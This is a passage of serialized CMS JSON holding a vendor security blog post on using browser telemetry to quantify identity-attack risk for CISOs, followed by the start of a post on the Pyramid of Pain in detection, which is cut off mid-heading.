odeType":865},{},[],{"data":9697,"content":9698,"nodeType":1458},{},[9699],{"data":9700,"marks":9701,"value":3272,"nodeType":865},{},[9702],{"type":961},{"data":9704,"content":9705,"nodeType":866},{},[9706],{"data":9707,"marks":9708,"value":3279,"nodeType":865},{},[],{"data":9710,"content":9711,"nodeType":866},{},[9712,9715,9722],{"data":9713,"marks":9714,"value":873,"nodeType":865},{},[],{"data":9716,"content":9717,"nodeType":882},{"uri":3288},[9718],{"data":9719,"marks":9720,"value":3294,"nodeType":865},{},[9721],{"type":997},{"data":9723,"marks":9724,"value":3298,"nodeType":865},{},[],{"data":9726,"content":9729,"nodeType":925},{"target":9727},{"sys":9728},{"id":3303,"type":922,"linkType":923},[],{"data":9731,"content":9732,"nodeType":866},{},[9733],{"data":9734,"marks":9735,"value":3311,"nodeType":865},{},[],{"data":9737,"content":9740,"nodeType":925},{"target":9738},{"sys":9739},{"id":3316,"type":922,"linkType":923},[],{"data":9742,"content":9745,"nodeType":925},{"target":9743},{"sys":9744},{"id":3322,"type":922,"linkType":923},[],{"data":9747,"content":9748,"nodeType":953},{},[],{"data":9750,"content":9751,"nodeType":963},{},[9752],{"data":9753,"marks":9754,"value":3334,"nodeType":865},{},[9755],{"type":961},{"data":9757,"content":9758,"nodeType":866},{},[9759],{"data":9760,"marks":9761,"value":3341,"nodeType":865},{},[],{"data":9763,"content":9764,"nodeType":866},{},[9765],{"data":9766,"marks":9767,"value":3348,"nodeType":865},{},[],{"data":9769,"content":9770,"nodeType":1049},{},[9771,9784,9797,9810],{"data":9772,"content":9773,"nodeType":1003},{},[9774],{"data":9775,"content":9776,"nodeType":866},{},[9777,9781],{"data":9778,"marks":9779,"value":3362,"nodeType":865},{},[9780],{"type":961},{"data":9782,"marks":9783,"value":3366,"nodeType":865},{},[],{"data":9785,"content":9786,"nodeType":1003},{},[9787],{"data":9788,"content":9789,"nodeType":866},{},[9790,9794],{"data":9791,"marks":9792,"value":3377,"nodeType":865},{},[9793],{"type":961},{"data":9795,"marks":9796,"value":3381,"nodeType":865},{},[],{"data":9798,"content":9799,"nodeType":1003},{},[9800],{"data":9801,"content":9802,"nodeType":866},{},[9803,9807],{"data":9804,"marks":9805,"value":3392,"nodeType":865},{},[9806],{"type":961},{"data":9808,"marks":9809,"value":3396,"nodeType":865},{},[],{"data":9811,"content":9812,"nodeType":1003},{},[9813],{"data":9814,"content":9815,"nodeType":866},{},[9816,9820],{"data":9817,"marks":9818,"value":3407,"nodeType":865},{},[9819],{"type":961},{"data":9821,"marks":9822,"value":3411,"nodeType":865},{},[],{"data":9824,"content":9825,"nodeType":866},{},[9826],{"data":9827,"marks":9828,"value":3418,"nodeType":865},{},[],{"data":9830,"content":9831,"nodeType":1458},{},[9832],{"data":9833,"marks":9834,"value":3425,"nodeType":865},{},[],{"data":9836,"content":9837,"nodeType":866},{},[9838],{"data":9839,"marks":9840,"value":3432,"nodeType":865},{},[],{"data":9842,"content":9843,"nodeType":866},{},[9844],{"data":9845,"marks":9846,"value":3439,"nodeType":865},{},[],{"data":9848,"content":9849,"nodeType":866},{},[9850,9853,9857],{"data":9851,"marks":9852,"value":3446,"nodeType":865},{},[],{"data":9854,"marks":9855,"value":3451,"nodeType":865},{},[9856],{"type":961},{"data":9858,"marks":9859,"value":3455,"nodeType":865},{},[],{"data":9861,"content":9862,"nodeType":866},{},[9863],{"data":9864,"marks":9865,"value":3462,"nodeType":865},{},[],{"data":9867,"content":9868,"nodeType":866},{},[9869],{"data":9870,"marks":9871,"value":3469,"nodeType":865},{},[],{"data":9873,"content":9874,"nodeType":1458},{},[9875],{"data":9876,"marks":9877,"value":3476,"nodeType":865},{},[],{"data":9879,"content":9880,"nodeType":866},{},[9881],{"data":9882,"marks":9883,"value":3483,"nodeType":865},{},[],{"data":9885,"content":9886,"nodeType":866},{},[9887],{"data":9888,"marks":9889,"value":3490,"nodeType":865},{},[],{"data":9891,"content":9892,"nodeType":866},{},[9893],{"data":9894,"marks":9895,"value":3497,"nodeType":865},{},[],{"data":9897,"content":9898,"nodeType":1458},{},[9899],{"data":9900,"marks":9901,"value":3504,"nodeType":865},{},[],{"data":9903,"content":9904,"nodeType":866},{},[9905],{"data":9906,"marks":9907,"value":3511,"nodeType":865},{},[],{"data":9909,"content":9910,"nodeType":866},{},[9911],{"data":9912,"marks":9913,"value":3518,"nodeType":865},{},[],{"data":9915,"content":9916,"nodeType":1458},{},[9917],{"data":9918,"marks":9919,"value":3525,"nodeType":865},{},[],{"data":9921,"content":9922,"nodeType":866},{},[9923],{"data":9924,"marks":9925,"value":3532,"nodeType":865},{},[],{"data":9927,"content":9928,"nodeType":866},{},[9929],{"data":9930,"marks":9931,"value":3539,"nodeType":865},{},[],{"data":9933,"content":9934,"nodeType":866},{},[9935],{"data":9936,"marks":9937,"value":3546,"nodeType":865},{},[],{"data":9939,"content":9940,"nodeType":953},{},[],{"data":9942,"content":9943,"nodeType":963},{},[9944],{"data":9945,"marks":9946,"value":3557,"nodeType":865},{},[9947],{"type":961},{"data":9949,"content":9950,"nodeType":866},{},[9951],{"data":9952,"marks":9953,"value":3564,"nodeType":865},{},[],{"data":9955,"content":9956,"nodeType":866},{},[9957,9960],{"data":9958,"marks":9959,"value":3571,"nodeType":865},{},[],{"data":9961,"marks":9962,"value":3576,"nodeType":865},{},[9963],{"type":961},{"data":9965,"content":9966,"nodeType":866},{},[9967],{"data":9968,"marks":9969,"value":3583,"nodeType":865},{},[],{"data":9971,"content":9972,"nodeType":866},{},[9973],{"data":9974,"marks":9975,"value":3590,"nodeType":865},{},[],{"data":9977,"content":9978,"nodeType":866},{},[9979],{"data":9980,"marks":9981,"value":3597,"nodeType":865},{},[],{"data":9983,"content":9984,"nodeType":1458},{},[9985],{"data":9986,"marks":9987,"value":3604,"nodeType":865},{},[],{"data":9989,"content":9990,"nodeType":1049},{},[9991,10010,10029,10048,10057,10066,10075],{"data":9992,"content":9993,"nodeType":1003},{},[9994],{"data":9995,"content":9996,"nodeType":866},{},[9997,10000,10007],{"data":9998,"marks":9999,"value":3617,"nodeType":865},{},[],{"data":10001,"content":10002,"nodeType":882},{"uri":3620},[10003],{"data":10004,"marks":10005,"value":3626,"nodeType":865},{},[10006],{"type":997},{"data":10008,"marks":10009,"value":3630,"nodeType":865},{},[],{"data":10011,"content":10012,"nodeType":1003},{},[10013],{"data":10014,"content":10015,"nodeType":866},{},[10016,10019,10026],{"data":10017,"marks":10018,"value":3640,"nodeType":865},{},[],{"data":10020,"content":10021,"nodeType":882},{"uri":3643},[10022],{"data":10023,"marks":10024,"value":3649,"nodeType":865},{},[10025],{"type":997},{"data":10027,"marks":10028,"value":3653,"nodeType":865},{},[],{"data":10030,"content":10031,"nodeType":1003},{},[10032],{"data":10033,"content":10034,"nodeType":866},{},[10035,10038,10045],{"data":10036,"marks":10037,"value":21,"nodeType":865},{},[],{"data":10039,"content":10040,"nodeType":882},{"uri":3665},[10041],{"data":10042,"marks":10043,"value":3671,"nodeType":865},{},[10044],{"type":997},{"data":10046,"marks":10047,"value":3675,"nodeType":865},{},[],{"data":10049,"content":10050,"nodeType":1003},{},[10051],{"data":10052,"content":10053,"nodeType":866},{},[10054],{"data":10055,"marks":10056,"value":3685,"nodeType":865},{},[],{"data":10058,"content":10059,"nodeType":1003},{},[10060],{"data":10061,"content":10062,"nodeType":866},{},[10063],{"data":10064,"marks":10065,"value":3695,"nodeType":865},{},[],{"data":10067,"content":10068,"nodeType":1003},{},[10069],{"data":10070,"content":10071,"nodeType":866},{},[10072],{"data":10073,"marks":10074,"value":3705,"nodeType":865},{},[],{"data":10076,"content":10077,"nodeType":1003},{},[10078],{"data":10079,"content":10080,"nodeType":866},{},[10081,10084,10091],{"data":10082,"marks":10083,"value":3715,"nodeType":865},{},[],{"data":10085,"content":10086,"nodeType":882},{"uri":3718},[10087],{"data":10088,"marks":10089,"value":3724,"nodeType":865},{},[10090],{"type":997},{"data":10092,"marks":10093,"value":3728,"nodeType":865},{},[],{"data":10095,"content":10096,"nodeType":866},{},[10097],{"data":10098,"marks":10099,"value":21,"nodeType":865},{},[],{"data":10101,"content":10104,"nodeType":925},{"target":10102},{"sys":10103},{"id":3739,"type":922,"linkType":923},[],{"data":10106,"content":10107,"nodeType":953},{},[],{"data":10109,"content":10110,"nodeType":866},{},[10111,10114,10121],{"data":10112,"marks":10113,"value":3750,"nodeType":865},{},[],{"data":10115,"content":10116,"nodeType":882},{"uri":1728},[10117],{"data":10118,"marks":10119,"value":3758,"nodeType":865},{},[10120],{"type":997},{"data":10122,"marks":10123,"value":1048,"nodeType":865},{},[],{"items":10125},[10126,10128],{"sys":10127,"name":297},{"id":2828},{"sys":10129,"name":2825},{"id":2824},{"items":10131},[10132],{"fullName":3774,"firstName":3775,"jobTitle":3776,"profilePicture":10133},{"url":3778},{"__typename":1788,"sys":10135,"content":10137,"title":10645,"synopsis":10646,"hashTags":59,"publishedDate":10647,"slug":10648,"tagsCollection":10649,"authorsCollection":10655},{"id":10136},"2MWicW07sNEBp59wxYtAiC",{"json":10138},{"data":10139,"content":10140,"nodeType":1739},{},[10141,10149,10180,10186,10193,10212,10227,10230,10238,10253,10272,10297,10303,10319,10350,10356,10362,10378,10381,10389,10396,10404,10422,10438,10445,10470,10477,10485,10515,10522,10530,10537,10543,10546,10554,10561,10569,10575,10578,10586,10593,10600,10607,10619,10622,10628],{"data":10142,"content":10143,"nodeType":963},{},[10144],{"data":10145,"marks":10146,"value":10148,"nodeType":865},{},[10147],{"type":961},"The quantification problem nobody talks about",{"data":10150,"content":10151,"nodeType":866},{},[10152,10156,10164,10168,10176],{"data":10153,"marks":10154,"value":10155,"nodeType":865},{},[],"I was recently teaching ",{"data":10157,"content":10159,"nodeType":882},{"uri":10158},"https://www.sans.org/cyber-security-courses/cybersecurity-leaders/",[10160],{"data":10161,"marks":10162,"value":10163,"nodeType":865},{},[],"SANS LDR551",{"data":10165,"marks":10166,"value":10167,"nodeType":865},{},[],", where we cover some of the flawed approaches used in risk measurement and prioritization — for example, presenting ordinal data in a risk matrix as ratio data, implying that the matrix represents quantitative analysis when it’s more of a best guess. We then look at modeling using ",{"data":10169,"content":10171,"nodeType":882},{"uri":10170},"https://en.wikipedia.org/wiki/Loss_exceedance_curve",[10172],{"data":10173,"marks":10174,"value":10175,"nodeType":865},{},[],"Loss Exceedance Curves",{"data":10177,"marks":10178,"value":10179,"nodeType":865},{},[]," as a more accurate, if much more difficult, approach to quantitative risk assessment.",{"data":10181,"content":10185,"nodeType":925},{"target":10182},{"sys":10183},{"id":10184,"type":922,"linkType":923},"4S1wJUm6E1qvyZzwrl2DL",[],{"data":10187,"content":10188,"nodeType":866},{},[10189],{"data":10190,"marks":10191,"value":10192,"nodeType":865},{},[],"The only problem is, we rarely have the time or the data to construct such models. Ask a CISO how they measure risk for credential compromise and other account takeover attacks, and the answer will probably include one or more of the following: a risk assessment, a whiteboard, and a room full of smart people making educated guesses about attack frequency and control strength. ",{"data":10194,"content":10195,"nodeType":866},{},[10196,10200,10208],{"data":10197,"marks":10198,"value":10199,"nodeType":865},{},[],"That isn't a criticism — for most risk scenarios, expert elicitation is the best (and most convenient) available method. Breach cost data is sparse, threat actor behavior is unpredictable, and internal incident history is (ideally!) a limited sample. Quantitative risk frameworks like ",{"data":10201,"content":10203,"nodeType":882},{"uri":10202},"https://www.fairinstitute.org/",[10204],{"data":10205,"marks":10206,"value":10207,"nodeType":865},{},[],"FAIR",{"data":10209,"marks":10210,"value":10211,"nodeType":865},{},[]," give structure to that uncertainty, but they can't conjure data that just doesn't exist.",{"data":10213,"content":10214,"nodeType":866},{},[10215,10219,10224],{"data":10216,"marks":10217,"value":10218,"nodeType":865},{},[],"The results are usually estimates with wide confidence intervals and loss distributions that appear precise, but are hard to defend to a CFO or a board. Finance leaders have seen Monte Carlo simulations before; the capable ones will challenge the quality of the outputs if they doubt the quality of the inputs. ",{"data":10220,"marks":10221,"value":10223,"nodeType":865},{},[10222],{"type":961},"But with the right telemetry, we can get both",{"data":10225,"marks":10226,"value":1048,"nodeType":865},{},[],{"data":10228,"content":10229,"nodeType":953},{},[],{"data":10231,"content":10232,"nodeType":963},{},[10233],{"data":10234,"marks":10235,"value":10237,"nodeType":865},{},[10236],{"type":961},"Why the identity attack surface is uniquely measurable",{"data":10239,"content":10240,"nodeType":866},{},[10241,10245,10250],{"data":10242,"marks":10243,"value":10244,"nodeType":865},{},[],"We've written extensively about the shift to identity as a primary attack vector — and the evidence continues to stack up. Credential phishing, device code phishing, ClickFix, adversary-in-the-middle attacks, session hijacking, and SaaS account compromise now account for the majority of breach entry points in most enterprise environments. But the silver lining here is that this shift has created something valuable for risk quantification: ",{"data":10246,"marks":10247,"value":10249,"nodeType":865},{},[10248],{"type":944},"a highly observable threat surface",{"data":10251,"marks":10252,"value":1048,"nodeType":865},{},[],{"data":10254,"content":10255,"nodeType":866},{},[10256,10260,10268],{"data":10257,"marks":10258,"value":10259,"nodeType":865},{},[],"Identity attacks execute ",{"data":10261,"content":10262,"nodeType":882},{"uri":3620},[10263],{"data":10264,"marks":10265,"value":10267,"nodeType":865},{},[10266],{"type":997},"in the browser",{"data":10269,"marks":10270,"value":10271,"nodeType":865},{},[],". They leave traces in authentication flows, login behaviors, OAuth integrations, extension activity, and SaaS access patterns — all of which are captured in real time by the Push extension. Unlike network or endpoint attacks, where the signal is often binary and retroactive, browser-based identity threats generate continuous, high-frequency telemetry that maps directly onto the inputs that drive quantitative risk models.",{"data":10273,"content":10274,"nodeType":866},{},[10275,10279,10284,10288,10293],{"data":10276,"marks":10277,"value":10278,"nodeType":865},{},[],"This telemetry directly informs the hardest inputs in any quantitative risk model. One is ",{"data":10280,"marks":10281,"value":10283,"nodeType":865},{},[10282],{"type":961},"Threat Event Frequency (TEF)",{"data":10285,"marks":10286,"value":10287,"nodeType":865},{},[],": how often a threat agent acts against an asset in a given period. For identity risks, this can be answered in how many credential phishing attempts reached your users across all delivery channels (social media, email, malvertising, etc.), or how frequently your users authorize malicious or compromised SaaS apps. Browser-level telemetry can answer these questions with ",{"data":10289,"marks":10290,"value":10292,"nodeType":865},{},[10291],{"type":944},"observed",{"data":10294,"marks":10295,"value":10296,"nodeType":865},{},[]," data rather than industry lookups and general benchmarks. ",{"data":10298,"content":10302,"nodeType":925},{"target":10299},{"sys":10300},{"id":10301,"type":922,"linkType":923},"EvjT68MCWW7nz5q86xe8S",[],{"data":10304,"content":10305,"nodeType":866},{},[10306,10310,10315],{"data":10307,"marks":10308,"value":10309,"nodeType":865},{},[],"The other input to risk modeling that's difficult to express in concrete terms is ",{"data":10311,"marks":10312,"value":10314,"nodeType":865},{},[10313],{"type":961},"vulnerability",{"data":10316,"marks":10317,"value":10318,"nodeType":865},{},[],": the probability a threat becomes a loss event or, more specifically, how likely it is that your controls will fail. ",{"data":10320,"content":10321,"nodeType":866},{},[10322,10326,10334,10338,10346],{"data":10323,"marks":10324,"value":10325,"nodeType":865},{},[],"This is where browser telemetry gets especially concrete. ",{"data":10327,"content":10329,"nodeType":882},{"uri":10328},"https://pushsecurity.com/blog/how-many-vulnerable-identities-do-you-have/",[10330],{"data":10331,"marks":10332,"value":10333,"nodeType":865},{},[],"Analysis of login telemetry across Push-monitored environments",{"data":10335,"marks":10336,"value":10337,"nodeType":865},{},[]," shows that 1 in 4 logins are still password-only (not SSO), 2 in 5 are not protected by MFA, and 1 in 5 use a weak, breached, or reused password. Many of these logins occur outside the visibility of a central IdP platform like Microsoft, Google or Okta — the result of downstream ",{"data":10339,"content":10341,"nodeType":882},{"uri":10340},"https://pushsecurity.com/blog/ghost-logins-when-forgotten-identities-come-back-to-haunt-you/",[10342],{"data":10343,"marks":10344,"value":10345,"nodeType":865},{},[],"ghost logins",{"data":10347,"marks":10348,"value":10349,"nodeType":865},{},[],". ",{"data":10351,"content":10355,"nodeType":925},{"target":10352},{"sys":10353},{"id":10354,"type":922,"linkType":923},"5GctExdVGjHRwKifiP00Fp",[],{"data":10357,"content":10361,"nodeType":925},{"target":10358},{"sys":10359},{"id":10360,"type":922,"linkType":923},"2mWToHCJcuB9FMwxxzd67F",[],{"data":10363,"content":10364,"nodeType":866},{},[10365,10369,10374],{"data":10366,"marks":10367,"value":10368,"nodeType":865},{},[],"In a FAIR-based model, TEF and vulnerability together determine ",{"data":10370,"marks":10371,"value":10373,"nodeType":865},{},[10372],{"type":961},"loss event frequency",{"data":10375,"marks":10376,"value":10377,"nodeType":865},{},[],": the foundational driver of the entire risk calculation. Using telemetry from your own environment as the basis for these calculations makes them far more accurate, and more likely to stand up to scrutiny.",{"data":10379,"content":10380,"nodeType":953},{},[],{"data":10382,"content":10383,"nodeType":963},{},[10384],{"data":10385,"marks":10386,"value":10388,"nodeType":865},{},[10387],{"type":961},"The attack surface is bigger than most models assume",{"data":10390,"content":10391,"nodeType":866},{},[10392],{"data":10393,"marks":10394,"value":10395,"nodeType":865},{},[],"One of the consistent failures in identity risk modeling is the tendency to model risks defenders can see, and leave the rest off the balance sheet. These omissions create a systematic understatement of exposure that browser-based telemetry can offset.",{"data":10397,"content":10398,"nodeType":1458},{},[10399],{"data":10400,"marks":10401,"value":10403,"nodeType":865},{},[10402],{"type":961},"Shadow AI and OAuth sprawl",{"data":10405,"content":10406,"nodeType":866},{},[10407,10410,10418],{"data":10408,"marks":10409,"value":21,"nodeType":865},{},[],{"data":10411,"content":10412,"nodeType":882},{"uri":3288},[10413],{"data":10414,"marks":10415,"value":10417,"nodeType":865},{},[10416],{"type":997},"The Vercel breach in April 2026",{"data":10419,"marks":10420,"value":10421,"nodeType":865},{},[]," was the result of an OAuth connection to a third-party AI SaaS tool a developer connected into the organization's Google Workspace tenant (without admin approval). When the AI vendor was compromised, the attacker leveraged stored OAuth tokens to access downstream accounts, ultimately reaching internal dashboards, API keys, and source code. ",{"data":10423,"content":10424,"nodeType":866},{},[10425,10429,10434],{"data":10426,"marks":10427,"value":10428,"nodeType":865},{},[],"Push telemetry across customer environments shows an average of ",{"data":10430,"marks":10431,"value":10433,"nodeType":865},{},[10432],{"type":961},"17 unique AI app integrations per organization in Microsoft and Google alone",{"data":10435,"marks":10436,"value":10437,"nodeType":865},{},[],", most of which security teams would describe as unapproved. These generally don't appear in a conventional risk model that isn't looking for them.",{"data":10439,"content":10440,"nodeType":1458},{},[10441],{"data":10442,"marks":10443,"value":288,"nodeType":865},{},[10444],{"type":961},{"data":10446,"content":10447,"nodeType":866},{},[10448,10452,10461,10466],{"data":10449,"marks":10450,"value":21,"nodeType":865},{},[10451],{"type":961},{"data":10453,"content":10454,"nodeType":882},{"uri":4136},[10455],{"data":10456,"marks":10457,"value":10460,"nodeType":865},{},[10458,10459],{"type":997},{"type":961},"Analysis of 20,000 unique extensions deployed across Push customer environments",{"data":10462,"marks":10463,"value":10465,"nodeType":865},{},[10464],{"type":961}," found that 46.76% have the permission combinations required for account takeover without user interaction. ",{"data":10467,"marks":10468,"value":10469,"nodeType":865},{},[],"The extensions carrying these permissions aren't flagged by risk scoring systems because the same permissions are used by ad blockers, password managers, and translation tools (the downside of relying on tools that rely on dubious scoring to assess extensions, but I digress). ",{"data":10471,"content":10472,"nodeType":866},{},[10473],{"data":10474,"marks":10475,"value":10476,"nodeType":865},{},[],"What matters for risk quantification isn't the permission set or an arbitrary score assigned by a vendor; it's whether the monitoring exists to detect when a previously-clean extension changes ownership, escalates permissions, or behaves anomalously. Without that monitoring, the exposure is real but unquantified.",{"data":10478,"content":10479,"nodeType":1458},{},[10480],{"data":10481,"marks":10482,"value":10484,"nodeType":865},{},[10483],{"type":961},"ClickFix and non-email delivery channels",{"data":10486,"content":10487,"nodeType":866},{},[10488,10492,10500,10504,10511],{"data":10489,"marks":10490,"value":10491,"nodeType":865},{},[],"ClickFix — where a malicious page silently writes a PowerShell or mshta command into the victim's clipboard and instructs them to paste it — was ",{"data":10493,"content":10495,"nodeType":882},{"uri":10494},"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/msc/documents/presentations/CSR/Microsoft-Digital-Defense-Report-2025.pdf",[10496],{"data":10497,"marks":10498,"value":10499,"nodeType":865},{},[],"the most common initial access vector observed by Microsoft in 2025",{"data":10501,"marks":10502,"value":10503,"nodeType":865},{},[],", and CrowdStrike reported a",{"data":10505,"content":10506,"nodeType":882},{"uri":1362},[10507],{"data":10508,"marks":10509,"value":10510,"nodeType":865},{},[]," 563% increase in fake CAPTCHA lures",{"data":10512,"marks":10513,"value":10514,"nodeType":865},{},[]," (one of the most common ClickFix styles in which the user has to \"verify they're human\" by running a command on their machine). ",{"data":10516,"content":10517,"nodeType":866},{},[10518],{"data":10519,"marks":10520,"value":10521,"nodeType":865},{},[],"What makes this particularly relevant for risk quantification is the delivery channel: 4 in 5 ClickFix payloads intercepted by Push arrive via search engines, not email. A risk model that estimates threat event frequency from email-based phishing telemetry alone is structurally blind to an entire category of attack that has become one of the most prevalent initial access methods in the landscape.",{"data":10523,"content":10524,"nodeType":1458},{},[10525],{"data":10526,"marks":10527,"value":10529,"nodeType":865},{},[10528],{"type":961},"Authorization attacks",{"data":10531,"content":10532,"nodeType":866},{},[10533],{"data":10534,"marks":10535,"value":10536,"nodeType":865},{},[],"Device code phishing and OAuth consent abuse represent a slightly separate category of identity attack that most risk models don't account for because they operate after the authentication flow has already completed — meaning password strength, MFA coverage, and SSO adoption are irrelevant to whether the attack succeeds. ",{"data":10538,"content":10542,"nodeType":925},{"target":10539},{"sys":10540},{"id":10541,"type":922,"linkType":923},"7qtHmxCzBm5664jD6HsCwN",[],{"data":10544,"content":10545,"nodeType":953},{},[],{"data":10547,"content":10548,"nodeType":963},{},[10549],{"data":10550,"marks":10551,"value":10553,"nodeType":865},{},[10552],{"type":961},"The key lesson for CISOs",{"data":10555,"content":10556,"nodeType":866},{},[10557],{"data":10558,"marks":10559,"value":10560,"nodeType":865},{},[],"A risk model that measures identity vulnerability purely in terms of authentication hygiene at the IdP layer — how many accounts have MFA, how many use SSO — will correctly quantify one dimension of exposure while completely missing another that is growing faster and is structurally immune to the controls being measured.",{"data":10562,"content":10563,"nodeType":866},{},[10564],{"data":10565,"marks":10566,"value":10568,"nodeType":865},{},[10567],{"type":961},"For a CISO building a risk model, these aren't edge cases. They represent a real attack surface that doesn't show up in models built on conventional network, endpoint, and cloud telemetry. We aren't just talking about better inputs to risk modeling — we're talking about entirely new risk scenarios that aren't being modeled at all, supported by live data.",{"data":10570,"content":10574,"nodeType":925},{"target":10571},{"sys":10572},{"id":10573,"type":922,"linkType":923},"2ObEcO1gqz8lrOLCZzfpNw",[],{"data":10576,"content":10577,"nodeType":953},{},[],{"data":10579,"content":10580,"nodeType":1458},{},[10581],{"data":10582,"marks":10583,"value":10585,"nodeType":865},{},[10584],{"type":961},"Browser telemetry makes a CISO's life easier",{"data":10587,"content":10588,"nodeType":866},{},[10589],{"data":10590,"marks":10591,"value":10592,"nodeType":865},{},[],"Browser-based telemetry changes the conversation a CISO can have with a CFO or board. Instead of \"industry benchmarks suggest our expected annual loss from account compromise is somewhere in this range,\" the answer is, \"We can see how often these attacks are attempted against our users, and we can measure what percentage of our accounts have the controls in place to stop them,\" or \"We know how many shadow AI apps our users self-provision and share data with each month.\" ",{"data":10594,"content":10595,"nodeType":866},{},[10596],{"data":10597,"marks":10598,"value":10599,"nodeType":865},{},[],"Identity risk is only a piece of the quantification problem. Loss magnitude, regulatory exposure, and reputational impact are still extremely hard to estimate regardless of how good your frequency inputs are. ",{"data":10601,"content":10602,"nodeType":866},{},[10603],{"data":10604,"marks":10605,"value":10606,"nodeType":865},{},[],"But the identity attack surface is one of the few areas in security where measurement is genuinely achievable right now, and the gap between what most organizations are modeling and what's actually observable is significant. Shadow SaaS integrations, unapproved AI connections, browser extensions with excessive privileges — these are enumerable risks that don't appear in models built on network, endpoint, and cloud access telemetry alone. ",{"data":10608,"content":10609,"nodeType":866},{},[10610,10615],{"data":10611,"marks":10612,"value":10614,"nodeType":865},{},[10613],{"type":961},"The lesson for CISOs serious about quantitative risk management is this: the frameworks exist, the talent is available, and the bottleneck is almost always data quality. ",{"data":10616,"marks":10617,"value":10618,"nodeType":865},{},[],"Browser telemetry is a good example of the kind of high-fidelity, environment-specific measurement that closes that gap.",{"data":10620,"content":10621,"nodeType":953},{},[],{"data":10623,"content":10624,"nodeType":866},{},[10625],{"data":10626,"marks":10627,"value":5006,"nodeType":865},{},[],{"data":10629,"content":10630,"nodeType":866},{},[10631,10635,10642],{"data":10632,"marks":10633,"value":10634,"nodeType":865},{},[],"Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see. ",{"data":10636,"content":10637,"nodeType":882},{"uri":9244},[10638],{"data":10639,"marks":10640,"value":10641,"nodeType":865},{},[],"Book a live demo",{"data":10643,"marks":10644,"value":1738,"nodeType":865},{},[],"The CISO's data problem (and how browser telemetry can help)","How CISOs can use browser telemetry to support cyber risk quantification in areas where traditional data points fall short. ","2026-05-11T00:00:00.000Z","the-cisos-data-problem-and-how-browser-telemetry-can-help",{"items":10650},[10651,10653],{"sys":10652,"name":2825},{"id":2824},{"sys":10654,"name":342},{"id":8410},{"items":10656},[10657],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":10658},{"url":853},{"__typename":1788,"sys":10660,"content":10662,"title":11415,"synopsis":11416,"hashTags":59,"publishedDate":11417,"slug":11418,"tagsCollection":11419,"authorsCollection":11427},{"id":10661},"5RDOpmzJolwT1hk0fNIxzf",{"json":10663},{"data":10664,"content":10665,"nodeType":1739},{},[10666,10684,10690,10697,10704,10707,10715,10733,10752,10759,10764,10771,10777,10784,10792,10799,10817,10846,10852,10858,10866,10873,10891,10921,10953,10960,10966,10974,10981,10992,10999,11038,11044,11084,11123,11129,11132,11140,11147,11153,11160,11167,11173,11180,11187,11215,11218,11226,11233,11241,11248,11255,11274,11281,11287,11294,11302,11309,11326,11333,11352,11355,11363,11370,11377,11384,11387,11393,11399],{"data":10667,"content":10668,"nodeType":866},{},[10669,10673,10680],{"data":10670,"marks":10671,"value":10672,"nodeType":865},{},[],"Back in 2024, we wrote about ",{"data":10674,"content":10675,"nodeType":882},{"uri":8556},[10676],{"data":10677,"marks":10678,"value":10679,"nodeType":865},{},[],"how the Pyramid of Pain shapes Push's detection philosophy",{"data":10681,"marks":10682,"value":10683,"nodeType":865},{},[]," — detections targeting indicators that are easy for attackers to change deliver diminishing returns, while detections targeting attacker techniques impose a cost that's hard to absorb. Two years on, every force that made IoC-based detection fragile has intensified.",{"data":10685,"content":10689,"nodeType":925},{"target":10686},{"sys":10687},{"id":10688,"type":922,"linkType":923},"1iuLYxwI8T1wDUIFSom0G0",[],{"data":10691,"content":10692,"nodeType":866},{},[10693],{"data":10694,"marks":10695,"value":10696,"nodeType":865},{},[],"AI hasn't introduced a new problem so much as it's compressed the timelines on an existing one — attackers can generate infrastructure, iterate on tooling, and industrialize newly discovered techniques faster than before. The bottom layers of the Pyramid are collapsing under the weight of machine-speed operations, and the middle layers are starting to buckle too.",{"data":10698,"content":10699,"nodeType":866},{},[10700],{"data":10701,"marks":10702,"value":10703,"nodeType":865},{},[],"These changes mean that technique-level detection is more important than ever. In this article, we’ll dig into how the Pyramid is changing, and what this means for our detection philosophy at Push (TL;DR — it reinforces the path we’re already on: building detections at the top of the Pyramid by harnessing browser visibility). ",{"data":10705,"content":10706,"nodeType":953},{},[],{"data":10708,"content":10709,"nodeType":963},{},[10710],{"data":10711,"marks":10712,"value":10714,"nodeType":865},{},[10713],{"type":961},"The bottom of the Pyramid was already crumbling",{"data":10716,"content":10717,"nodeType":866},{},[10718,10722,10729],{"data":10719,"marks":10720,"value":10721,"nodeType":865},{},[],"The case against indicator-based detection didn't need AI to be compelling. ",{"data":10723,"content":10725,"nodeType":882},{"uri":10724},"https://www.spamhaus.org/",[10726],{"data":10727,"marks":10728,"value":8814,"nodeType":865},{},[],{"data":10730,"marks":10731,"value":10732,"nodeType":865},{},[],", with just 6.5% surviving past 15 days — by the time a domain makes it onto a blocklist, the campaign has moved on.",{"data":10734,"content":10735,"nodeType":866},{},[10736,10740,10748],{"data":10737,"marks":10738,"value":10739,"nodeType":865},{},[],"We've ",{"data":10741,"content":10743,"nodeType":882},{"uri":10742},"https://pushsecurity.com/blog/why-most-phishing-attacks-feel-like-a-zero-day/",[10744],{"data":10745,"marks":10746,"value":10747,"nodeType":865},{},[],"written before",{"data":10749,"marks":10750,"value":10751,"nodeType":865},{},[]," about how this makes every phishing attack effectively a zero-day for organizations relying on known-bad detection. The phishing kit's behavior — its page structure, script signatures, malicious payload mechanics — is the only detection target that outlasts a single campaign.",{"data":10753,"content":10754,"nodeType":866},{},[10755],{"data":10756,"marks":10757,"value":10758,"nodeType":865},{},[],"When we blogged about the Pyramid of Pain for modern attacks that happen predominantly over the internet, with minimal (or zero) endpoint contact, it first looked like this: ",{"data":10760,"content":10763,"nodeType":925},{"target":10761},{"sys":10762},{"id":8570,"type":922,"linkType":923},[],{"data":10765,"content":10766,"nodeType":866},{},[10767],{"data":10768,"marks":10769,"value":10770,"nodeType":865},{},[],"Now, it looks more like this:",{"data":10772,"content":10776,"nodeType":925},{"target":10773},{"sys":10774},{"id":10775,"type":922,"linkType":923},"mfhP4WToOQkrHnVkXU0tX",[],{"data":10778,"content":10779,"nodeType":866},{},[10780],{"data":10781,"marks":10782,"value":10783,"nodeType":865},{},[],"Let’s explore why. ",{"data":10785,"content":10786,"nodeType":1458},{},[10787],{"data":10788,"marks":10789,"value":10791,"nodeType":865},{},[10790],{"type":961},"AI is 